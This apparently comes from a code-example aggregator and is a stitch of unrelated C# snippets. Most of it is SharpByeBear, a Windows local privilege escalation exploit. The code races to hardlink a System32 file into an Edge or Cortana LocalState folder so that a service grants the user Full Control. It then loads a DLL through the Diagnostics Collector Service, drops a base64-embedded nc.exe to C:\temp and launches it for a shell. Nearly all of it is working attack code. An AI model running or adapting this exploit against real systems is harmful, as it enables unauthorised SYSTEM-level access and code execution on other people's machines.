            string settings = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\settings.dat";

            Console.WriteLine(@" [>] Creating hardlink");

            NtFile ntFile;

            ntFile = NtFile.Open($@"\??\{path}", null, FileAccessRights.MaximumAllowed);
            ntFile.CreateHardlink($@"\??\{settings}");
            Thread.Sleep(3000);

            // start edge
            Console.WriteLine(@" [>] Starting Edge...");
            ProcessStartInfo proc = new ProcessStartInfo();

            proc.FileName    = @"C:\Windows\System32\cmd.exe";
            proc.Arguments   = @"/c start microsoft-edge:";
            proc.WindowStyle = ProcessWindowStyle.Hidden;
            Process.Start(proc);
            Thread.Sleep(3000);

            // kill edge
            Console.WriteLine(@" [>] Killing Edge again...");
            KillEdge();

            // check file permission again
            fc  = false;
            acl = CheckFilePermission(path);

            WindowsPrincipal self = new WindowsPrincipal(WindowsIdentity.GetCurrent());
            string           user = self.Identity.Name;

            foreach (FileSystemAccessRule rule in acl.GetAccessRules(true, true, typeof(NTAccount)))
            {
                if (rule.IdentityReference.Value.Equals(user) & rule.FileSystemRights.Equals(FileSystemRights.FullControl))
                {
                    fc = true;
                }
            }

            if (!fc)
            {
                Console.WriteLine(@" [x] {0} does not have Full Control over target file :(", user);
                return;
            }
            else
            {
                Console.WriteLine(@" [!] {0} has Full Control", user);
            }

            ntFile.Close();
            Thread.Sleep(3000);

            // collector service magic
            CollectorService.DLL.Load(filename);
        }
Esempio n. 24
0
        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Console.WriteLine("[+] Specify a target filename + Option 1 or 2");
                Console.WriteLine("[-] For example SharpByeBear.exe license.rtf 1");
                Console.WriteLine("[-] Option1: Edge");
                Console.WriteLine("[-] Option2: Cortana");
                return;
            }

            string filename = args[0];
            string path     = $@"C:\Windows\System32\{filename}";
            string arg2     = args[1];

            Console.WriteLine(arg2);
            int option = 0;

            option = int.Parse(arg2);
            option = Convert.ToInt32(arg2);
            String LocalState;

            switch (option)
            {
            case 1:
                Console.WriteLine("Using Edge option");

                KillEdge();
                LocalState = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState";
                Console.WriteLine($"[+] Removing {LocalState}");
                try
                {
                    Directory.Delete($@"{LocalState}", true);
                }

                catch { }
                break;

            case 2:
                Console.WriteLine("Using Cortana option");

                if (GetCortana() == 0)
                {
                    Console.WriteLine("[+] Cortana disabled");
                    return;
                }

                string AppData = Environment.GetFolderPath((Environment.SpecialFolder.LocalApplicationData));
                LocalState = AppData + $@"\packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState";

                Console.WriteLine($"[+] Removing {LocalState}");


                try
                {
                    Directory.Delete($@"{LocalState}", true);
                }


                catch { }
                break;

            default:
                Console.WriteLine("Invalid Option");
                return;
            }


            if (!File.Exists(path))
            {
                Console.WriteLine(" [x] File does not exist");
                return;
            }

            string temporary = @"C:\temp";

            if (!File.Exists(temporary))
            {
                string createtemp = @" /C mkdir C:\temp";
                System.Diagnostics.Process.Start("CMD.exe", createtemp);
            }

            var nc = DecompressFile(Convert.FromBase64String("H4sIAJmC7VwAA+xafXRURZZ/r9MhTejQDSYQJIEgMQkCkW8JEGklD1E+jEoriijMIop8LnSzMGP4sNMr7bMljqKzs+sMEWdXV8/qugg9ok5CWCJ+ojKcjGE0o8zxtZ2BFmNEQXvv71a97tchoOw5+9/mnHTdunXr1r23btW9VfVm31anZCiKYqf/REJRIor48yg//reZ/nsPfqW3sqvnO0Mi6qx3hsy9Z+naotVrVt29ZtGKor9btHLlKl/Rz+4qWuNfWbR0ZVHV9TcVrVi1+K7ynJzsYsmjWlOUWWqW8sr7a+eYfNsUV0Yv1ZanzKXKevq3KUpdXyrd9L9aSucWeMitSvllZ66seFBlvRSlSNDixy1I3FYlXiQZenWj3H2K0nLxTzDCIUXJ7wZd9pKi7FfP3a3cd9d6H5W7bpQCzbUqIf4WKtULyxcv8i0i+HYgoDvprMxLp/MooxrK1wjCWvDaTP+w121n0XnKf7Z2LeD1kG1H97JtVhY2lC8V/Ng2ZCPFSf/Luxl32o2QXNigQcq3vhs633Ietwg/hyTdz8+m616i///7v/rzhv56U6B9XP3hbR4l2OAraK4qdgBPpR1T1GznlZo4FGh3ElzUx6MYxdMVJdBuN1ZfqyjGzOsUJazFm7U46EJVxe76Was93N++w8P9qSC8M6x1UOEwHqlWlPpf7cB4/mpDp5qeV01dQm5j40zifCxuHJlNnDegBT0d9XbBwl7PvOzFRmUFjdVk3EEkoYJi49e0i4R3QwC90HjJo+xkftRBn+YG+ZXmkAI3CrjL0nHVwPUjXHRpIpEIdYZfLU3ZJ1fXHDoJU/kIOfk/VFaGqVjj3atKQynCUDCc0Xo9qXBKDe1z1X5H9dENwQ9cwT8TFNifO3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pcZstFJG7E6YdmlX4NVPDRls8JfbswLHNNw0v0XIU77bvzCij2Xl7RdfkBMjn4aWWznS91THDzKsNjj+4I1u64H2aOcBC6/MWHS3LL2+NYqWHp34qK9vj2yH7S8SAjqHV7pfG1E4Z/0Ik1rFu35Z9U/ujL6zwEh2Myauu8esdUs8Lg8cKSvZcrmJ02BtkjKu21DHQsPOk05u3vthdrBlP2lzsnPh9B4O7j6HegYabqkX2i8aWJn85t7VXy0UY7hr975cOi6sh27n+y/tQyrq6or1JCYRylwHj1hJaWRX5vFclypx+NVnhltTJ+nmtLYoA1f3LF2NDRj+1ryn4WvfUBOn/UNLKy8Ubimea0B/lvVKV1Z35cSY69kXi/WfX3Wq3Xajyutc4qXnRdVb5YKhPgTGLLy+qyF389PyfHoplk9f1CE9PXY+fSZk5ZIWwv+fOWN/fqrXMom8XzErbQsw6vhhBg0M4FOJLtuUCrKHsAe5uXm6eXgl/M4Azuw5/dKx/4NHS1Hwbk7sesJmx8iXWF6pnpGmlhndmJ03G8ubCRs4Np1hseV6zq/pe/qZXcrZ82JhYnmi/7SRIiwFi18b92cI4fem6fk3r+tVFT4Vh+seojEVCfOfNZ536FYTNelQeqrF2oWySS265ryhXqWvlOajJcre86zvtSQemR1x4e7G2dccrXLNdhycs8HWcM2t3C7FjUc35+vGnS1L6m/HS/4+QzfMgmt85MHZ36yM31wsP5pZINCbU9P5tzXEhbPWfTjel2csWyeeI8ovO7S2+VLsj/tGZ7ivPxByx3Zgm6E0x7lx67mZ0dZTTyquim6vc5QsIp68R1fH1lh3ey6sXOm7zYix1c7RL9pbHPVu+/uEBcdifikP+e28K1s30efRntvOM3en2Y3IXhjpzlBY13nfbIyK6RIT8SYloMHcooiT1TgurEuPfY/eWO+tDfhI/i+C6D8AYqal29iWAAA="));

            File.WriteAllBytes($@"C:\temp\nc.exe", nc);

            bool         fc  = false;
            FileSecurity acl = CheckFilePermission(path);


            WindowsPrincipal self = new WindowsPrincipal(WindowsIdentity.GetCurrent());
            string           user = self.Identity.Name;

            foreach (FileSystemAccessRule rule in acl.GetAccessRules(true, true, typeof(NTAccount)))
            {
                if (rule.IdentityReference.Value.Equals(user) & rule.FileSystemRights.Equals(FileSystemRights.FullControl))
                {
                    fc = true;
                }
            }

            if (fc)
            {
                Console.WriteLine($@"[+] {WindowsIdentity.GetCurrent().Name} already has Full Control of {path}");
                CollectorService.DLL.Load(filename);
                System.Threading.Thread.Sleep(2000);
                string strCmdPopp = @" /C C:\temp\nc.exe 127.0.0.1 2000";
                System.Diagnostics.Process.Start("CMD.exe", strCmdPopp);

                System.Threading.Thread.Sleep(2000);
                Console.WriteLine(@" [x] {0} Dont forget to clean up license.rtf & C:\temp\nc.exe");
                return;
            }



            IntPtr Thread = GetCurrentThread();

            SetThreadPriority(Thread, ThreadPriority.THREAD_PRIORITY_HIGHEST);

            NtFile ntFile;

            ntFile = NtFile.Open($@"\??\{path}", null, FileAccessRights.MaximumAllowed);

            Console.WriteLine("[+] Waiting to Create Hardlink");

            bool Failed = true;

            Console.WriteLine(@" [>] Starting race condition.");
            while (Failed)
            {
                try
                {
                    ntFile.CreateHardlink($@"\??\{LocalState}\rs.txt");
                    Failed = false;
                }

                catch { }
            }

            Console.WriteLine($"[+] Created Hardlink to {path}");



            // Give the service some time to rewrite DACLs
            System.Threading.Thread.Sleep(2000);

            fc = false;

            foreach (FileSystemAccessRule rule in acl.GetAccessRules(true, true, typeof(NTAccount)))
            {
                if (rule.IdentityReference.Value.Equals(user) & rule.FileSystemRights.Equals(FileSystemRights.FullControl))
                {
                    fc = true;
                }
            }

            if (fc)
            {
                Console.WriteLine(@"[+] You have Full Control");

                CollectorService.DLL.Load(filename);

                string strCmdPopp = @" /C C:\temp\nc.exe 127.0.0.1 2000";
                System.Diagnostics.Process.Start("CMD.exe", strCmdPopp);

                System.Threading.Thread.Sleep(2000);
                Console.WriteLine(@" [x] {0} Dont forget to clean up license.rtf & C:\temp\nc.exe");
            }

            else
            {
                Console.WriteLine(@"[+] Unlucky - Try again");
            }
        }
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 /// <returns>The newly created object.</returns>
 protected override object CreateObject(ObjectAttributes obj_attributes)
 {
     return(NtFile.Open(obj_attributes, Access, ShareMode, Options));
 }
Esempio n. 26
0
 static NtFile OpenReparseDirectory(string volume)
 {
     return(NtFile.Open($@"\??\{volume}\$Extend\$Reparse:$R:$INDEX_ALLOCATION", null, FileAccessRights.GenericRead | FileAccessRights.Synchronize,
                        FileShareMode.Read, FileOpenOptions.OpenForBackupIntent | FileOpenOptions.SynchronousIoNonAlert));
 }